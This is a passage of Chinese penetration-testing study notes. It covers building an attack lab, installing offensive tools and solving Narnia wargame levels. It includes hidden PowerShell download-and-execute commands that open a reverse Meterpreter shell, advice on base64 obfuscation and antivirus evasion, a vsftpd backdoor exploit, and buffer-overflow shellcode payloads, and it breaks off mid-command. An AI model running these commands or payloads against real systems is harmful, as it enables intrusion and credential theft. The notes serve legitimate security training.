渗透学习

1.1搭建测试环境

Linux和 Windows兼备

1.2建立一个域

1.3建立其他服务器

Metasploitable2(一个优秀的 Ubuntu Linux虚拟机)

下载地址:http://sourceforge.net/projects/metasploitable/files/Metasploitable2

OWASPBWA(漏洞网站多)

http://sourceforge .net/projects/owaspbwa/files/

1.4安装测试环境

1.4.1安装虚拟平台

VirtualBox(http://www.virtualbox.org)

VMWarePlayer(https://my.vmware.com/web/vmware/downloads)

在配置主机后,对干净状态和配置状态的虚拟机进行了快照。后面的测试中需要做到就是恢复虚拟机到基础镜像,对工具进行升级和打补丁或者添加其他需要的工具。

1.5硬件

测试笔记本

1、8G以上笔记本两个

2、500G硬盘(最好固态)

3、Intel酷睿i7四核处理器

密码破解桌面

机箱:海盗船复仇C70。

显卡:SAPPHIRE 100360SR Radeon R9 295x2 8GBGDDR5。

硬盘:三星840 EVO MZ-7TE500BW 2.5" 500GBSATA III TLC Internal固态盘。

电源:银欣ST1500 1500W ATX。

内存:海盗船复仇16GB(2×8GB)240针脚DDR3 SDRAM DDR3 1600。

CPU:酷睿i7 4790K 4.0G。

主板:华硕MAXIMUS VII FORMULA。

处理器风扇:酷冷至尊Hyper 212 EV。

1.6开发软件

商业软件

Burp Suite Pro

  • Web渗透测试工具集
  • 下载网址:http://portswigger.net/burp/proxy.html。强烈推荐购买专业版本,售价299美元,绝对物有所值。

Canvas

Cobalt Strike

Core Impact

Nessus

Nexpose

2.Kali Linux(https://www.kali.org/)

1.5.5 搭建Kali Linux

查看http://www.thehackerplaybook.com网页的更新。

所有的配置和软件部分放到了Github网址(http://www.github.com/cheetz/thp2)。通过复制和粘贴脚本,方便渗透测试工作,不需要手动输入每一个命令。

可以通过地址http://www.kali.org/downloads/下载Kali Linux发行版。强烈推荐下载VMware镜像(https://www.offensive-security.com/kali-linux-vmware-arm-image-download)和Virtual Player/VirtualBox。记住镜像文件采用gz压缩和tar存档格式,首先提取压缩和存档文件,然后加载vmx文件。

1.Kali虚拟机启动和运行

  • 使用用户名root和默认密码toor登录
  • 打开一个终端
  • 修改密码
    • passwd
  • 更新镜像
    • apt-get update
    • apt-get dist-upgrade
  • 设置Metasploit数据库
    • service postgresql start
  • 让postgresql数据库在启动时加载
    • update-rc.dpostgresql enable
  • 启动和停止Metasploit服务(设置数据库.yml文件)
    • service metasploit start
    • service metasploit stop
  • 安装gedit软件
    • apt-get install gedit
  • 修改主机名(很多网络管理员在DHCP的日志中查询到多台命名为Kali的主机,最好遵循渗透测试公司的主机命名规则)
    • gedit /etc/hostname
      更改主机名(替换kali)并保存
    • gedit /etc/hosts
      更改主机名(替换kali)并保存
    • reboot
  • *Metasploit可选项——启动日志记录
    • 作为可选项,如果启用日志就会变得很大,但是通过Metasploit命令行接口,可以记录运行的每一条命令和结果。如果客户需要日志记录或者开展批量攻击和查询,这将变得非常有用。*如果是干净的镜像,首先输入msfconsole,在配置logging命令创建.msf4文件夹之前退出。
    • 在命令行中输入:
      echo"spool /root/msf_console.log" > /root/.msf4/msfconsole.rc
    • 日志存储在/root/msf_console.log。

3.Back Box(http://www.backbox.org/

1.7 建立平台

探测扫描工具

 

安装Firefox插件

  • Web开发人员插件:https://addons.mozilla.org/en-US/firefox/addon/webdeveloper/
  • Tamper Data:https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
  • Foxy Proxy:https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
  • User Agent Switcher:https://addons.mozilla.org/en-US/firefox/addon/user-agentswitcher/

 

Discover

Discover Scripts

  • 定制的bash脚本,自动化处理各种渗透任务
  • git clone https://github.com/leebaird/discover.git/opt/discover
  • cd /opt/discover && ./setup.sh

EyeWitness

  • EyeWitness工具实现网站截图,搜集服务器报头信息和判断网站是否采用默认口令
  • git clone https://github.com/ChrisTruncer/EyeWitness.git/opt/EyeWitness

HTTPScreenShot

  • HTTPScreenShot工具实现屏幕截图和大量网站网页的抓取
  • pip install selenium
  • git clone https://github.com/breenmachine/httpscreenshot.git/opt/ httpscreenshot
  • cd /opt/httpscreenshot
  • chmod +x install-dependencies.sh && ./install-dependencies.sh
  • HTTPScreenShot仅仅默认工作在64位Kali操作系统,如果运行32位PAE操作系统,按照下面步骤安装phatomjs:
    • wget https://bitbucket.org/ariya/phantomjs/downloads/ phantomjs-1.9.8-linuxi686.tar.bz2
    • bzip2 -d phantomjs-1.9.8-linux-i686.tar.bz2
    • tar xvf phantomjs-1.9.8-linux-i686.tar
    • cp phantomjs-1.9.8-linux-i686/bin/phantomjs /usr/bin/

WMAP

SpiderFoot

  • 开源的指纹检测工具
  • mkdir /opt/spiderfoot/ && cd /opt/spiderfoot
  • wget http://sourceforge.net/projects/spiderfoot/files/spiderfoot-2.3.0-src.tar.gz/download
  • tar xzvf download
  • pip install lxml
  • pip install netaddr
  • pip install M2Crypto
  • pip install cherrypy
  • pip install mako

Masscan

  • 这是最快速的互联网端口扫描工具,能够在6分钟扫描整个互联网
  • apt-get install gitgcc make libpcap-dev
  • git clone https://github.com/robertdavidgraham/masscan.git /opt/masscan
  • cd /opt/masscan
  • make
  • make install

Gitrob

  • 一种针对GitHub组织的探测工具
  • git clone https://github.com/michenriksen/gitrob.git /opt/gitrob
  • gem install bundler
  • service postgresql start
  • supostgres
  • createuser -s gitrob --pwprompt
  • createdb -O gitrobgitrob
  • exit
  • cd /opt/gitrob/bin
  • gem install gitrob

CMSmap

  • CMSmap是基于Python开发的开源内容管理系统扫描工具,实现对安全漏洞自动扫描
  • git clone https://github.com/Dionach/CMSmap /opt/CMSmap

Recon-ng

  • 一个功能齐全的网站探测框架,使用Python编写
  • git clone https://bitbucket.org/LaNMaSteR53/recon-ng.git /opt/recon-ng

SPARTA

  • 从NTDSXtract中提取用户易于理解的哈希值
  • wget http://ptscripts.googlecode.com/svn/trunk/dshashes.py -O/opt/NTDSXtract/dshashes.py

WPScan

  • WordPress漏洞扫描工具和暴力破解工具
  • git clone https://github.com/wpscanteam/wpscan.git /opt/wpscan
  • cd /opt/wpscan&& ./wpscan.rb --update

Password Lists

漏洞利用工具

 

 

Fuzzing Lists(SecLists)

  • 用于配置Burp渗透测试参数
  • git clone https://github.com/danielmiessler/SecLists.git/ opt/SecLists

Burp Suite Pro

  • Web渗透测试工具集
  • 下载网址:http://portswigger.net/burp/proxy.html。强烈推荐购买专业版本,售价299美元,绝对物有所值。

ZAP Proxy Pro

  • OWASP ZAP:一个使用方便的集成渗透测试工具,用于挖掘网站应用程序漏洞
  • 下载网址:https://code.google.com/p/zaproxy/wiki/Downloads?tm=2
  • *Kali Linux默认安装(owasp-zap)

NoSQLMap

  • 用于MongoDB数据库和网站应用程序的自动化渗透测试工具集
  • git clone https://github.com/tcstool/NoSQLMap.git /opt/NoSQLMap

SQLMap

  • SQL注入工具
  • git clone https://github.com/sqlmapproject/sqlmap /opt/sqlmap

SQLNinja

BeEF Exploitation Framework

  • 一个跨站脚本攻击框架
  • cd/opt/
  • wget https://raw.github.com/beefproject/beef/a6a7536e/install-beef
  • chmod +x install-beef
  • ./install-beef

Responder

  • 一个LLMNR、NBT-NS和MDNS协议攻击工具,包括HTTP/SMB/MSSQL/FTP/LDAP诱骗认证方法,支持NTLMv1/NTLMv2/LMv2,扩展的NTLMSSP和基本HTTP认证协议。Responder用于获取NTLM挑战/应答哈希值。
  • git clone https://github.com/SpiderLabs/Responder.git /opt/Responder

Printer Exploits

  • 包括大量常用的打印机漏洞利用工具

·       git clone https://github.com/MooseDojo/praedasploit/opt/praedasploit

Veil

Veil-Framework

  • 红队工具集用于规避杀毒软件检测。目前包括Veil-Evasion用于生成规避杀毒软件净荷,Veil-Catapult投送净荷到目标,Veil-PowerView获取Windows域网络拓扑信息。Veil框架也可用于创建基于Python脚本的Meterpreter可执行程序
  • git clone https://github.com/Veil-Framework/Veil /opt/Veil
  • cd /opt/Veil/ && ./Install.sh -c

WIFIPhisher

  • WiFi网络自动化钓鱼攻击
  • git clone https://github.com/sophron/wifiphisher.git/opt/wifiphisher

Wifite

  • WiFi网络攻击工具
  • git clone https://github.com/derv82/wifite/opt/wifite

SET

  • 社会工程工具集(Social Engineering Toolkit,SET)主要用于社会工程攻击
  • git clone https://github.com/trustedsec/social-engineer-toolkit/ /opt/set/
  • cd /opt/set && ./setup.py install

后渗透测试

 

 

本书中的自定义脚本

  • git clone https://github.com/cheetz/Easy-P.git /opt/Easy-P
  • git clone https://github.com/cheetz/Password_Plus_One /opt/Password_Plus_One
  • git clone https://github.com/cheetz/PowerShell_Popup /opt/PowerShell_Popup
  • git clone https://github.com/cheetz/icmpshock /opt/icmpshock
  • git clone https://github.com/cheetz/brutescrape /opt/brutescrape
  • git clone https://www.github.com/cheetz/reddit_xss /opt/reddit_xss

SMBexec

  • 使用samba工具的一种快速psexec类型攻击

·       git clone https://github.com/pentestgeek/smbexec.git/opt/smbexec

  • cd /opt/smbexec&& ./install.sh
  • 选择1 - Debian/Ubuntu and derivatives
  • 选择所有默认值Select all defaults
  • ./install.sh
  • 选择4编译smbexec二进制文件
  • 编译完成后选择5退出

Veil

WCE

  • Windows凭证编辑器(Windows Credential Editor,WCE),用于从内存中读取密码
  • 下载地址为http://www.ampliasecurity.com/research/windows-credentials-editor/,将其存储在/opt/。例如:
    • wget www.ampliasecurity.com/research/wce_v1_4beta_universal.zip
    • mkdir/opt/wce&& unzip wce_v1* -d /opt/wce&&rm wce_v1*.zip

Mimikatz

  • 用于从内存获取明文密码、金票据和万能密钥等
  • 从https://github.com/gentilkiwi/mimikatz/releases/latest获取最新版本
    • cd /opt/ &&wget http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip
    • unzip-d ./mimikatz mimikatz_trunk.zip

PowerSploit

  • PowerShell脚本用户后渗透测试
  • git clone https://github.com/mattifestation/PowerSploit.git /opt/PowerSploit
  • cd/opt/PowerSploit && wget
  • https://raw.githubusercontent.com/obscuresec/random/master/StartListener.py && wget
  • https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py

Nishang

  • PowerShell漏洞利用和后渗透测试脚本汇总
  • git clone https://github.com/samratashok/nishang/opt/nishang

后门制造工厂

  • 对PE、ELF、Mach-O等二进制文件注入shellcode
  • git clone https://github.com/secretsquirrel/the-backdoor-factory/opt/the-backdoorfactory
  • cd the-backdoor-factory
  • ./install.sh

DSHashes

  • 从NTDSXtract中提取用户易于理解的哈希值
  • wget http://ptscripts.googlecode.com/svn/trunk/dshashes.py -O/opt/NTDSXtract/dshashes.py

Net-Creds

Net-Creds网络分析

  • 分析PCAP文件,获取用户名/密码
  • git clone https://github.com/DanMcInerney/net-creds.git/ opt/net-creds

代码副本

  • 本书使用了PowerSploit和Powertools的代码副本,记住要从原始的代码库中复制一份
  • git clone https://github.com/cheetz/PowerSploit/opt/HP_PowerSploit
  • git clone https://github.com/cheetz/PowerTools/opt/HP_PowerTools
  • git clone https://github.com/cheetz/nishang/opt/nishang

Phishing(可选)

  • Phishing-Frenzy

    • git clone https://github.com/pentestgeek/phishing-frenzy.git/var/www/phishing-frenzy
  • 其他自定义列表
    • git clone https://github.com/macubergeek/gitlist.git /opt/gitlist

 

1.8 设置Windows环境

搭建Windows通用测试平台作为KaliLinux平台的备份。记住一定要修改主机名,如果不使用NetBios,就禁用NetBios功能,要做的最后一件事是在评估过程中获取控制权。

设置Windows通常安装以下软件。

  • HxD:下载地址为http://mh-nexus.de/en/hxd/
  • Evade:下载地址为https://www.securepla.net/antivirus-now-you-see-me-now-you-dont
  • Hyperion:下载地址为http://www.nullsecurity.net/tools/binary.html
    • 下载并安装Windows编译器,地址为http://sourceforge.net/projects/mingw/
    • 在Hyperion目录下运行make命令,就可以得到二进制文件。
  • 下载并安装Metasploit,地址为http://www.Metasploit.com/
  • 下载并安装Nessus或者Nexpose
    • 如果打算购买商业软件,可以考虑购买Nessus,因为它更便宜,但是两个软件都能发挥作用。
  • 下载并安装nmap,地址为http://nmap.org/download.html
  • 下载并安装oclHashcat,地址为http://hashcat.net/oclhashcat/
  • 下载并安装Cain and Abel,地址为http://www.oxid.it/cain.html
  • 下载Burp Proxy Pro,地址为http://portswigger.net/burp/download.html
  • 下载并解压Nishang,地址为https://github.com/samratashok/nishang
  • 下载并安装PowerSploit,地址为https://github.com/mattifestation/PowerSploit/
  • 安装Firefox插件
    • Web开发人员插件:https://addons.mozilla.org/en-US/firefox/addon/webdeveloper/
    • Tamper Data:https://addons.mozilla.org/en-US/firefox/ addon/tamper-data/
    • Foxy Proxy:https://addons.mozilla.org/en-US/firefox/ addon/foxyproxystandard/
    • User Agent Switcher:https://addons.mozilla.org/en-US/firefox/addon/useragent-switcher/

1.9 启动PowerShell

PowerShell功能,请观看这个视频:

  • PowerShell脚本安全介绍:http://bit.ly/1MCb7EJ

PowerShell对于渗透测试人员有以下益处:

  • Windows 7以上操作系统默认安装;
  • PowerShell脚本可以运行在内存中;
  • 几乎不会触发杀毒软件;
  • 可以调用.NET类;
  • 利用用户口令(查询活动目录);
  • 可以用来管理活动目录;
  • 远程执行PowerShell脚本;
  • 使得Windows脚本攻击更加容易;
  • 目前很多工具是基于PowerShell开发的,掌握这些工具帮助您成为能力出众、效率较高的渗透测试人员。

您可以通过Windows终端提示符输入“PowerShell”,进入PowerShell命令行,输入“help”命令显示帮助菜单。下面是本书用到的基本参数和基本设置。

  • -Exec Bypass:绕过执行安全保护。

    • 这个参数非常重要!默认情况下,PowerShell的安全策略不允许运行命令和文件。通过设置这个参数,可以绕过任何一个安全保护规则。在本书中,每一次运行PowerShell脚本时均使用这个参数。
  • -NonI:非交互模式,PowerShell不提供用户交互式提示符。
  • -NoProfile(或者 –NoP):PowerShell控制台不加载当前用户的配置。
  • -noexit:执行后不退出shell。这对于脚本,例如键盘记录,非常重要,因此这些脚本可以继续执行。
  • -W Hidden:设置会话的窗口风格,将命令窗口保持隐藏。
  • 32位或64位PowerShell。
    • 这非常重要。一些脚本仅仅能够运行在它们指定的平台。因此,如果是在64位平台,需要执行64位PowerShell脚本来运行命令。
    • 32位PowerShell脚本执行:
      powershell.exe -NoP -NonI -W Hidden -Exec Bypass
    • 64位PowerShell脚本执行:
      %WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

为了更好了解PowerShell的使用方法,下面介绍一些常用的执行命令(这些命令将在本书中使用)。

第一个命令是从网站服务器下载PowerShell脚本,并执行脚本。在很多情况下,通过命令行,在被攻击对象主机上下载MeterpreterPowerShell脚本:

  • Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-ObjectNet.WebClient). DownloadString('[PowerShell URL]'); [Parameters]

例如,如果想在目标上执行Meterpreter Shell,需要下载这个脚本:

  • https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1

我们同样需要知道使用什么参数。最简单的找到参数的方式是阅读PowerShell脚本源代码,获取和浏览Invoke--Shellcode.ps1文件。查看Mattifestationbianxie开发的Invoke--Shellcode.ps1文件,可以通过这个例子,了解如何调用反向https Meterpreter shell(见图1.1)。

最终的PowerShell命令看起来如下所示。

  • Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient). DownloadString('https://raw.githubusercontent.com/cheetz/ PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https- Lhost 192.168.30.129 -Lport 80

图1.1 Invoke--Shellcode.ps1

可以看出,PowerShell使用非常简单,而且功能超级强大。下面了解更多的例子。

例如,下载同一个文件到目标上。您不需要访问网页,就可以自动下载和执行文件。在本地执行文件:

  • powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& { Import-Module [Path and File of PowerShell]; [Parameters] }"

最后,在本书中我通常使用base64编码PowerShell脚本,目的是混淆和压缩代码。运行和编码PowerShell脚本的命令如下:

  • powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc [Base64 Code]

希望上述的例子能帮助您在渗透测试中娴熟地使用PowerShell。

1.10 Easy-P

因为本书大量应用PowerShell脚本实施攻击,所以我创建了一个小的脚本,用于在渗透测试过程中获取PowerShell脚本。Easy-P包括我常用的一些PowerShell工具,并且具有编码脚本的功能。

对于每个命令,Easy-P提供多种方式运行代码,包括本地和远端。注意所有的远程PowerShell脚本指向我的代码或者其他人代码的复制版本。在这里我要强调一点,在后面的章节中还会提到多次:记住要从源代码中复制自己的一个拷贝,这样您就不会盲目地运行其他人的代码。现在如果一些人恶意地随意篡改PowerShell脚本,您永远不会知道发生了什么。没有做什么或者更坏的情况是,您的shell将转向其他人指定的地址。下面了解一下Easy-P的功能(见图1.2),使渗透测试工作变得更加简单。

  • cd /opt/Easy-P
  • python ./easy-p.py

图1.2 THP Easy-P

我在本书中最经常做的一件事就是使用PowerShell Meterpreter脚本。当执行Easy-P脚本时,输入选项4。设置本地主机IP和Meterpreter脚本回连的端口。完成设置后,就能看到如图1.3所示的输出。

得到4个不同类型的输出。

  • 从因特网下载和执行:从网站下载一个PowerShell脚本,然后执行脚本。虽然仅获得简单的shell,并且不能下载文件,但是也很棒了。
  • 从脚本的一个本地副本运行:如果您已经将一个PowerShell文件下载到系统中,运行命令导入PowerShell脚本,然后执行脚本。
  • Base64编码版本下载和执行:如果由于某个原因想混淆编码脚本,或者遇到字符限制,您可以使用base64编码代码,然后执行命令。
  • 资源文件:最后输出的是关联的资源文件。Metasploit资源文件是一种快捷方式,自动为MeterpreterPowerShell建立监听程序。复制资源脚本并将它存成文件:/opt/listener.rc。

图1.3 Easy-P输出示例

所有的脚本已经配置成绕过执行策略,保持隐藏,以及非交互运行。看一下Easy-P其他菜单选项,还包括权限提升、横向渗透、键盘记录、PowerShellMeterpreter和修改用户执行策略等功能。请随意复制我的代码,然后修改、增加所需要的PowerShell代码。

1.11特别知识点

1.11.1 Metasploitable 2

在开始前,需要下载安装Metasploitable 2环境的VMWare镜像。

下载地址为http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

下载Metasploitable 2软件后,解压软件,并在VMware Player或者Virtual Box虚拟机中打开软件,输入用户名msfadmin和密码msfadmin登录软件。现在运行VM镜像文件。

试验环境

开始运行Nmap、Masscan或者其他漏洞工具,测试存在漏洞的虚拟机。一旦发现系统漏洞,就运行漏洞利用程序获取一个shell。举个例子,我们发现并且将利用vsftpd存在的缺陷。因此,可以搜索漏洞(搜索vsftpd,见图1.4)或者直接运行漏洞利用程序。

  • msfconsole
  • use exploit/unix/ftp/vsftpd_234_backdoor(选择漏洞)
  • show options(显示配置选项)
  • set RHOST [IP](设置Metasploitable 2 IP)
  • exploit(运行漏洞)

图1.4 Metasploit例子

成功利用这个漏洞,读取存储的密码:cat /etc/shadow。为了深入研究Metasploitable 2,请阅读Rapid7指南,地址为https://community.rapid7.com/docs/DOC-1875。

这个虚拟机包括很多不同类型漏洞。您要花费时间学习如何有效使用Metasploit和Meterpreter。如果想深入了解Metasploit,推荐访问http://www.amazon.com/Metasploit-The-Penetration-Testers-Guide/dp/159327288X。

1.11.2二进制利用

请阅读下面的书籍:The Shellcoders Handbook(http://amzn.to/1E3k89R)或者Hacking: The Art of Exploitation,2nd Edition(http://amzn.to/1z8oThD)。然而,这并不意味着您不需要理解缓冲区溢出和基本漏洞技术。既然所有的渗透测试人员都需要能够编写脚本代码,那么他们也需要能理解漏洞利用代码。比如可能在Metasploit找到一个模块,它不能正常工作,需要较小的调整,或者需要验证从互联网下载的漏洞利用代码。

已经有大量不同类型网站,帮助开始学习二进制漏洞基础知识。一个非常好的学习网站是Over the Wire(http://overthewire.org/wargames/narnia/ )。Over the Wire网站是一个在线夺旗挑战站点,专注于从二进制攻击到网站攻击所有方面的知识。在本章,仅仅介绍二进制漏洞利用。如果您之前没有了解相关的背景知识,我建议用几个周末的时间深入研究这个网站。为了顺利进入情况,我先和您一起回答几个试题,然而后面的挑战试题需要您自己完成。

在开始前,需要学习以下基础知识:

  • 基本的汇编语言和理解寄存器的使用;
  • GDB基础知识(GNU调试器);
  • 理解不同类型的内存段(栈、堆、数据、BSS和代码段);
  • Shellcode基本概念。

下面这些资源可能会对学习有所帮助:

  • http://opensecuritytraining.info/IntroX86.html
  • http://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/
  • https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stackbased-overflows/
  • http://www.lethalsecurity.com/wiki
  • http://opensecuritytraining.info/Exploits1.html
  • https://exploit-exercises.com/protostar/

1.11.3Narnia设置(http://overthewire.org/wargames/narnia/)

(1)阶段1

Narnia正确配置后,SSH登录到它们的服务器,所有的挑战位于/narnia/目录下。下面详细了解前三个例子。在Kali的终端提示符下或者在Windows下使用类似于Putty(http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)的软件。

  • ssh narnia0@narnia.labs.overthewire.org
  • Password: narnia0
  • cd /narnia/

每一阶段挑战都提供C语言代码和二进制可执行文件。对于挑战0,具有访问narnia0和narnia0.c的权限。现在看一下C代码。

  • cat narnia0.c

快速浏览代码(见图1.5)后,看到变量“val”被赋值十六进制“AAAA”。其次,可以看到,程序接受输入的缓冲区长度为20字节。在之后的一些行,scanf()函数允许最多输入24字节。这是非常简单的缓冲区溢出例子。现在运行可执行文件,作为测试,输入20个A和4个B(因为我们知道十六进制值A=41和B=42),在命令提示符下,显示的字符如下:

  • narnia0@melinda:/narnia$ ./narnia0
  • 修改val的值0x41414141 -> 0xdeadbeef!
  • 这个是您的机会:AAAAAAAAAAAAAAAAAAAABBBB
  • 缓冲区:AAAAAAAAAAAAAAAAAAAABBBB
  • val:0x42424242
  • 退出!!!!

图1.5 narnia0代码

太棒了!因为val十六进制值是0x42424242(42对应ASCII字母B),可以修改内存中val的值,之前这个值是0x41414141。现在需要做的就是修改内存值为0xdeadbeef。这里提醒一下,所有写到堆栈中的值必须是小端格式(http://en.wikipedia.org/wiki/Endianness ),这意味着0xdeadbeef最后的字节必须是第一个压到栈中的字节,从而覆盖val的值。目标机器栈机制是先进后出(FILO),或者说是后进先出(LIFO)的架构。因此,为了设置0xdeadbeef值,以“\xef\xbe\xad\xde”顺序写入。最简单的方式是使用Python语言生成所需的数值,并将其作为narnia0例子的输入值。请看下面的操作过程:

  • narnia0@melinda:/narnia$ python -c 'print "A"*20 + "\xef\xbe\xad\xde"' | ./narnia0
  • 修正val变量值从0x41414141 -> 0xdeadbeef!
  • 这是机会:buf: AAAAAAAAAAAAAAAAAAAA?
  • val: 0xdeadbeef

太棒了!现在已经将deadbeef值写入“val”变量中。那么如何运行shell命令呢?再查看C代码,可以看到,如果匹配deadbeef,/bin/sh将被调用。因此运行Python代码,并读取位于/etc/narnia_pass/narnia1的密钥:

  • narnia0@melinda:/narnia$ (python -c 'print "A"*20 + "\xef\xbe\xad\xde"'; echo 'cat /etc/narnia_pass/narnia1') | /narnia/narnia0
  • 修正val变量值从0x41414141到0xdeadbeef!
  • 这是机会:缓冲区:AAAAAAAAAAAAAAAAAAAA?
  • val: 0xdeadbeef
  • [阶段1的答案]

如果成功了,就通过阶段1,并获得narnia1账户的口令(见图1.6)。现在需要注销账户并使用narnia1账户重新登录。

图1.6 narnia0漏洞利用

(2)阶段2

在完成每一个阶段后,都可以获得下一个账户的口令。使用刚刚获得narnia1账户登录阶段2:

  • ssh narnia1@narnia.labs.overthewire.org
  • Password: [narnia1的密码]
  • cd /narnia/
  • cat narnia1.c

浏览这段C代码(见图1.7),很快可以看到一些操作。

  • int (*ret)():是一个指向ret的指针,用于获取指针对应的数值。
  • getenv:引入一个环境变量EGG并将值存入变量ret中。
  • 调用ret()。

图1.7 narnia1代码

如果将shellcode存储在环境变量ECG中,那么无论shellcode是什么内容,它都将被执行。简单的做法是设置shellcode代码为/bin/sh,并将其赋值给ECG的环境  变量。

  • 在这个例子中,将恶意代码设置为/bin/sh:http://shell-storm.org/shellcode/files/shellcode-811.php
  • export EGG=‘python -c 'print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\ x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'`
  • ./narnia1
  • cat /etc/narnia_pass/narnia2

已经有了narnia2账户的密码(见图1.8),现在可以进入阶段3。

(3)阶段3

登录阶段3:

  • ssh narnia2@narnia.labs.overthewire.org
  • Password: [narnia2的密码]
  • cd /narnia/
  • cat narnia2.c

图1.8 narnia1漏洞利用

浏览C代码,查看下面的代码:

  • char buf[128];
  • if(argc == 1){
  •     printf("Usage: %s argument\n",argv[0]);
  •     exit(1);
  • }
  • strcpy(buf,argv[1]);
  • printf("%s",buf);

通过浏览代码可以看到,通过命令输入一个参数,并将它复制到缓冲区。字符串的缓冲区大小是128个字节,因此我们发送200个字符:

  • narnia2@melinda:/narnia$ ./narnia2 'python -c 'print "A" * 200''
  • 段错误

仅仅是验证,通过发送200个字符,造成程序出现段错误。需要判断发送多少字节,可以覆盖EIP寄存器。可以使用Metasploit的pattern_create.rb模块实现这个目的。这个模块生成一个特别字符串,在下面的例子中,创建200个字节的字符串。由于生成的字符串不会重复,因此能够精确识别出程序在什么位置覆盖EIP。

  • /usr/share/metasploit-framework/tools/pattern_create.rb 200
  • Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A
    b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
    d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9A
    f0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

现在运行程序narnia2,输入新生成的特殊字符串,观察在造成段错误之前,输入了多少个字节。为了获得段错误的精确结果,使用了调试器。默认情况下,Linux操作系统内嵌gdb调试器。尽管gdb调试器不是最容易使用的调试器,但是它的功能非常强大。

  • gdb ./narnia2 -q
  • run 'python -c' 'print"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A
    b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A
    d4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A
    f2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"''

查询结果如图1.9所示。

图1.9 narnia2漏洞利用

  • 程序接收SIGSEGV信号,段错误。
  • 0x37654136 in ?? ()

命令输出结果是0x37654136。通过查看初始的字符串来查找精确的值。为了能够计算出造成段错误的准确字节数,使用Metasploit的pattern_offset.rb脚本:

  • /usr/share/metasploit-framework/tools/pattern_offset.rb 0x37654136
  • [*] Exact match at offset 140

这表明在140个字节后可以控制EIP。为了证明这个结果,运行narnia2程序,输入140个字节,使用另外的4个字节覆盖EIP。通过使用调试器来观察内存中的变化。

输出结果如下所示。

  • cd /narnia
  • gdb ./narnia2 -q
  • (gdb) run 'python -c 'print "A" * 140 + "B" * 4'`
    • Starting program: /games/narnia/narnia2 'python -c 'print "A" * 140 + "B" * 4'`
    • Program received signal SIGSEGV,Segmentation fault.
    • 0x42424242 in ?? ()
  • (gdb) info registers
    • eax     0x0 0
    • ecx     0x0 0
    • edx     0xf7fcb898   -134432616
    • ebx     0xf7fca000   -134438912
    • esp     0xffffd640    0xffffd640
    • ebp     0x41414141   0x41414141
    • esi     0x0 0
    • edi     0x0 0
    • eip     0x42424242   0x42424242

使用“B”字符(或者十六进制0x42)覆盖EIP,EIP是处理器下一步执行代码的指针。如果将EIP指向一段shellcode区域,就可以控制系统。那么到哪儿可以找到shellcode呢?可以定制shellcode或者从下面网址下载shellcode:http://shell-storm.org/shellcode/。在这个例子中,使用Linux/x86 - execve(/bin/sh),长度28个字节。shellcode长度是28个字节,净荷需要144个字节长度。将A替换为NOP或者0x90,这意味着程序跳到NOP时将继续执行,直到开始运行可执行代码。在使用空指令测试后,我创建了下列代码:

  • cd /narnia
  • gdb ./narnia2 -q
  • run 'python -c 'print "\x90" * 50+
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\
    x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "BBBB"'

    • 开始运行程序:/games/narnia/narnia2 `python -c 'print "\x90" *50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\ x90" * 67 + "BBBB"'
    • 程序接收SIGSEGV信号,段错误。
    • 0x42424242 in ?? ()
  • (gdb) info registers eip
    • eip 0x42424242 0x42424242

通过shellcode和NOP成功控制EIP的值。现在在NOP前放置shellcode,从而获得一个/bin/sh shell。为了能够看到出现段错误后内存中的内容,输入:

  • x/250x $esp

滚动浏览,可以看到以下内容(见图1.10)。

图1.10 NOP Sled

可以看到初始的NOP (x90),后面是shellcode,然后是多个NOP,最后是BBBB。修改BBBB值,使其指向NOP,从而执行shellcode代码。一个简单的地址是0xffffd850栈地址,指向NOP中的第一个字符。开始进行测试,记住不要忘记系统是小段模式。

  • (gdb) run 'python -c 'print "\x90" * 50 +"\x31\xc0\x50\x68\x2f\x2f
    \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b
    \xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"''

    • 开始运行程序:/games/narnia/narnia2 "python -c 'print "\x90" * 50
